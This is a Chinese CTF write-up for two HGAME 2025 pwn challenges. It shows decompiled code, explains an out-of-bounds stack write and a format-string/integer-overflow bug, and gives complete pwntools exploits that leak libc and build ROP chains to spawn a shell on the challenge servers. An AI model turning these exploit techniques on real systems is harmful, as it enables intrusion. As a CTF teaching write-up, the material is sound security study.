HGAMECTF 2025

·约 20 分钟

目录
  1. week1
  2. counting petals
  3. format

week1

counting petals

先看保护:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

amd64 小端,保护全开。程序是个数花瓣的小游戏,文案很长。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int ci;                        // [rsp+Ch] [rbp-A4h]
  int idx1;                      // [rsp+10h] [rbp-A0h]
  int rnum;                      // [rsp+14h] [rbp-9Ch]
  __int64 sum;                   // [rsp+18h] [rbp-98h] BYREF
  __int64 list[16];              // [rsp+20h] [rbp-90h] BYREF
  int size;                      // [rsp+A0h] [rbp-10h] BYREF
  int idx;                       // [rsp+A4h] [rbp-Ch]
  unsigned __int64 v11;          // [rsp+A8h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  init(argc, argv, envp);
  ci = 0;
  while ( 1 )
  {
    idx1 = 0;
    rnum = rand() % 30;
    idx = 0;
    puts("\nAs we know,there's a tradition to determine whether someone loves you or not...");
    puts("... by counting flower petals when u are not sure.");
    puts("\nHow many flowers have you prepared this time?");
    scanf("%d", &size);
    if ( size > 16 )
    {
      puts("\nNo matter how many flowers there are, they cannot change the fact of whether he or she loves you.");
      puts("Just a few flowers will reveal the answer,love fool.");
      exit(0);
    }
    puts("\nTell me the number of petals in each flower.");
    while ( idx < size )
    {
      printf("the flower number %d : ", ++idx);
      scanf("%ld", &list[idx]);  // 0   1   list[1]
                                 // ...
                                 // 16  17  list[17]
    }
    puts("\nDo you want to start with 'love me'");
    puts("...or 'not love me'?");
    puts("Reply 1 indicates the former and 2 indicates the latter: ");
    scanf("%ld", &sum);
    puts("\nSometimes timing is important, so I added a little bit of randomness.");
    puts("\nLet's look at the results.");
    while ( idx1 < size )
    {
      printf("%ld + ", list[++idx1]);
      sum += list[idx1];
    }
    printf("%d", rnum);
    sum += rnum;
    puts(" = ");
    if ( (sum & 1) == 0 )
      break;
    puts("He or she doesn't love you.");
    if ( ci > 0 )
      return 0;
    ++ci;
    puts("What a pity!");
    puts("I can give you just ONE more chance.");
    puts("Wish that this time they love you.");
  }
  puts("Congratulations,he or she loves you.");
  return 0;
}

list 声明成 int64_t[16],但读入用 idx < size 控制、size 允许到 16,写到 list[17] 就压到了紧邻的 idx 和 size 上——数组越界。改写这两个变量,就能在栈上任意写。先试一下:

#先将size设置成16,才能溢出
io.recvuntil(b'How many flowers have you prepared this time?')
io.sendline(b'16')

#填充list[1]-list[16]
for i in range(15):
    io.recvuntil(b'the flower number ')
    io.sendline(b'20')

#list[17]也就是size和idx
#因为list是int64的数组,而size和idx都是int类型
io.recvuntil(b'the flower number ')

#前4个字节是idx,这里设置成了-4
#后四个字节是size,这里设置成了0x14
t=0x7ffffffc00000014-0x8000000000000000
io.sendline(str(t).encode())

idx 设成 -4 后,++idx 让下一次写入落在 list[-3],也就是 ci 的位置。本来想借此控制 rnum,但它每轮都会重新随机,所以 idx 其实不必设成负数。

把 size 调大还能顺带泄露栈内容——比如 main 的返回地址 __libc_start_call_main+128,据此算出 libc 基址。

for i in range(4+15):
    io.recvuntil(b'the flower number ')
    io.sendline(b'0')

#这里将size和idx设置成了相同值,就结束了读入循环
t=0x2000000020
io.recvuntil(b'the flower number ')
io.sendline(str(t).encode())

io.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ')
io.sendline(b'1')

io.recvuntil(b'Let\'s look at the results.\n')
enc=list(map(int,io.recvline()[:-3].decode().replace(' ','').split('+')))
print(enc)

#泄露libc地址,从而
libc_start_main=enc[18]-128
print(hex(libc_start_main))
libc_base = libc_start_main-0x29d10
log.success('libc_base: '+hex(libc_base))
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

第二轮再调 idx / size,让下一次写入正好落在 rbp+8,直接 ROP。

#先将size设置成16,才能溢出
io.recvuntil(b'How many flowers have you prepared this time?')
io.sendline(b'16')

#填充数据
for i in range(15):
    io.recvuntil(b'the flower number ')
    io.sendline(b'20')

#将size和idx设置为合适的值,使得下一个读入的位置就是rbp+8
t=0x1200000016
io.recvuntil(b'the flower number ')
io.sendline(str(t).encode())

#ROP写法
io.recvuntil(b'the flower number ')
io.sendline(str(libc_base+0x29139).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(libc_base+0x2a3e5).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(binsh).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(system).encode())

就到手了。完整 exp:

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc=ELF('./libc.so.6')

addr = 'xxxx:xxxxx'.split(':')
io = remote(addr[0], addr[1])
# io=process('./vuln')
# gdb.attach(io, 'b *$rebase(0x13c8)')

io.recvuntil(b'How many flowers have you prepared this time?')

io.sendline(b'16')

for i in range(15):
    io.recvuntil(b'the flower number ')
    io.sendline(b'20')

io.recvuntil(b'the flower number ')

t=0x7ffffffc00000014-0x8000000000000000

io.sendline(str(t).encode())

for i in range(4+15):
    io.recvuntil(b'the flower number ')
    io.sendline(b'0')

t=0x2000000020
io.recvuntil(b'the flower number ')
io.sendline(str(t).encode())

io.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ')
io.sendline(b'1')

io.recvuntil(b'Let\'s look at the results.\n')
enc=list(map(int,io.recvline()[:-3].decode().replace(' ','').split('+')))
print(enc)

libc_start_main=enc[18]-128
print(hex(libc_start_main))
libc_base = libc_start_main-0x29d10
log.success('libc_base: '+hex(libc_base))
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

io.recvuntil(b'How many flowers have you prepared this time?')

io.sendline(b'16')

for i in range(15):
    io.recvuntil(b'the flower number ')
    io.sendline(b'20')

t=0x1200000016
io.recvuntil(b'the flower number ')
io.sendline(str(t).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(libc_base+0x29139).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(libc_base+0x2a3e5).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(binsh).encode())

io.recvuntil(b'the flower number ')
io.sendline(str(system).encode())

io.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ')
io.sendline(b'1')

io.interactive()

format

先看保护:

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

amd64 小端,PIE 和 canary 都没开。程序很短:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char format[4];  // [rsp+0h] [rbp-10h] BYREF
  int v5;          // [rsp+4h] [rbp-Ch] BYREF
  int v6;          // [rsp+8h] [rbp-8h] BYREF
  int i;           // [rsp+Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  printf("you have n chance to getshell\n n = ");
  if ( (int)scanf("%d", &v6) <= 0 )
    exit(1);
  for ( i = 0; i < v6; ++i )
  {
    printf("type something:");
    if ( (int)scanf("%3s", format) <= 0 )
      exit(1);
    printf("you type: ");
    printf(format);
  }
  printf("you have n space to getshell(n<5)\n n = ");
  scanf("%d\n", &v5);
  if ( v5 <= 5 )
    vuln((unsigned int)v5);
  return 0;
}

ssize_t __fastcall vuln(unsigned int a1)
{
  _BYTE buf[4];    // [rsp+1Ch] [rbp-4h] BYREF

  printf("type something:");
  return read(0, buf, a1);
}

本来想用 printf(format) 直接打格式化字符串,但 format 只有 4 字节,凑不出有用的格式串,先泄露一个栈地址。顺手看整数溢出:v5 输入 -1,传给 read 的长度就变成极大值。

io.recvuntil(b'n = ')
io.sendline(b'1')

io.recvuntil(b'type something:')
io.sendline("%p")

io.recvuntil(b'0x')
buf = int(io.recvuntil(b'y', drop=True), 16)+0x2138+0x10

log.success(f'buf: {hex(buf)}')

io.recvuntil(b'n = ')
io.send(b'-1')

接着构造栈,跳回 printf(format) 泄露 libc:

#这里覆盖了rbp,控制了栈帧
payload = b'a'*5+p64(buf-0x18)+p64(0x4012CF)+b'%3$p'
io.send(payload)

#泄露了libc地址
io.recvuntil(b'0x')

read_addr = int(io.recvuntil(b'\xff', drop=True), 16)-18
log.success(f'read_addr: {hex(read_addr)}')
libc_base = read_addr-libc.sym['read']
log.success(f'libc_base: {hex(libc_base)}')

ret = libc_base+0x29139
log.success(f'ret: {hex(ret)}')
rdi = libc_base+0x2a3e5
log.success(f'rdi: {hex(rdi)}')
system = libc_base+libc.sym['system']
log.success(f'system: {hex(system)}')
binsh = libc_base+next(libc.search(b'/bin/sh'))
log.success(f'binsh: {hex(binsh)}')

再来一遍,这次直接覆盖返回地址 ROP:

payload = b'a'*4+p64(buf-0x18)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
io.sendline(payload)

io.interactive()

flag 到手。完整 exp:

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')
bss = 0x404050

# io = process('./vuln')
# gdb.attach(io, 'b *0x4011CC')

addr = 'node1.hgame.vidar.club:31733'.split(':')
io = remote(addr[0], addr[1])

io.recvuntil(b'n = ')
io.sendline(b'1')

io.recvuntil(b'type something:')
io.sendline("%p")

io.recvuntil(b'0x')
buf = int(io.recvuntil(b'y', drop=True), 16)+0x2138+0x10

log.success(f'buf: {hex(buf)}')

io.recvuntil(b'n = ')
io.send(b'-1')

# io.recvuntil(b'type something:')
payload = b'a'*5+p64(buf-0x18)+p64(0x4012CF)+b'%3$p'
io.send(payload)

io.recvuntil(b'0x')

read_addr = int(io.recvuntil(b'\xff', drop=True), 16)-18
log.success(f'read_addr: {hex(read_addr)}')
libc_base = read_addr-libc.sym['read']
log.success(f'libc_base: {hex(libc_base)}')

ret = libc_base+0x29139
log.success(f'ret: {hex(ret)}')
rdi = libc_base+0x2a3e5
log.success(f'rdi: {hex(rdi)}')
system = libc_base+libc.sym['system']
log.success(f'system: {hex(system)}')
binsh = libc_base+next(libc.search(b'/bin/sh'))
log.success(f'binsh: {hex(binsh)}')

payload = b'a'*4+p64(buf-0x18)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
io.sendline(payload)

io.interactive()